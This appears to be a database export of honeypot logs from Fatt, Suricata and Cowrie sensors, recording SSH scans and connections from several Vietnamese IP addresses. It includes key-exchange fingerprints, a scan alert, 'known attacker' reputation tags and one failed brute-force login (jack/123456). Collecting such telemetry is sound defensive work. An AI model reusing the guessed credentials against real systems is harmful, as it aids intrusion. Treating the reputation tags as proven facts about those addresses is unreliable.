"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41782, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.850942", "@timestamp": "2021-09-20T11:10:48.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25839	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:48.871998+03	2021-09-20 14:15:12.501646+03	{"_id": "xQbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47032, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.871998", "@timestamp": "2021-09-20T11:10:48.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25840	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:48.871587+03	2021-09-20 14:15:12.502647+03	{"_id": "wAbmAnwBvYTbRNuEvxxg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1328188239702100, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47032, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.871587Z", "@timestamp": "2021-09-20T11:10:48.871Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25841	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:48.468404+03	2021-09-20 14:15:12.503645+03	{"_id": "wgbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7394, "timestamp": "2021-09-20T11:10:48.468404", "@timestamp": "2021-09-20T11:10:48.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25842	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:48.871741+03	2021-09-20 14:15:12.504646+03	{"_id": "wwbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47032, "timestamp": "2021-09-20T11:10:48.871741", "@timestamp": "2021-09-20T11:10:48.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25843	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:49.081345+03	2021-09-20 14:15:12.506646+03	{"_id": "xwbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48208, "dest_port": 22, "timestamp": "2021-09-20T11:10:49.081345", "@timestamp": "2021-09-20T11:10:49.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25844	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:10:49.35864+03	2021-09-20 14:15:12.507646+03	{"_id": "3gbmAnwBvYTbRNuEwxxJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:49.358640+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 228300802324720, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:10:49.358640Z", "@timestamp": "2021-09-20T11:10:49.358Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25845	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:49.920506+03	2021-09-20 14:15:12.508646+03	{"_id": "4AbmAnwBvYTbRNuExBxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53320, "timestamp": "2021-09-20T11:10:49.920506", "@timestamp": "2021-09-20T11:10:49.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25934	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:56.686926+03	2021-09-20 14:15:12.622645+03	{"_id": "SAbmAnwBvYTbRNuE4B1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "da54e520d054", "@version": "1", "duration": 2.8287577629089355, "timestamp": "2021-09-20T11:10:56.686926Z", "@timestamp": "2021-09-20T11:10:56.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25846	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:51.474932+03	2021-09-20 14:15:12.509646+03	{"_id": "8QbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55718 (192.168.176.2:22) [session: f380da35ef70]", "session": "f380da35ef70", "@version": "1", "protocol": "ssh", "src_port": 55718, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.474932Z", "@timestamp": "2021-09-20T11:10:51.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25847	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:51.2929+03	2021-09-20 14:15:12.511645+03	{"_id": "8AbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [jack/123456] failed", "session": "650e5c6f5dca", "@version": "1", "password": "123456", "username": "jack", "timestamp": "2021-09-20T11:10:51.292900Z", "@timestamp": "2021-09-20T11:10:51.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25848	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:51.477219+03	2021-09-20 14:15:12.512646+03	{"_id": "9wbmAnwBvYTbRNuEyBzh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f380da35ef70", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:51.477219Z", "@timestamp": "2021-09-20T11:10:51.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
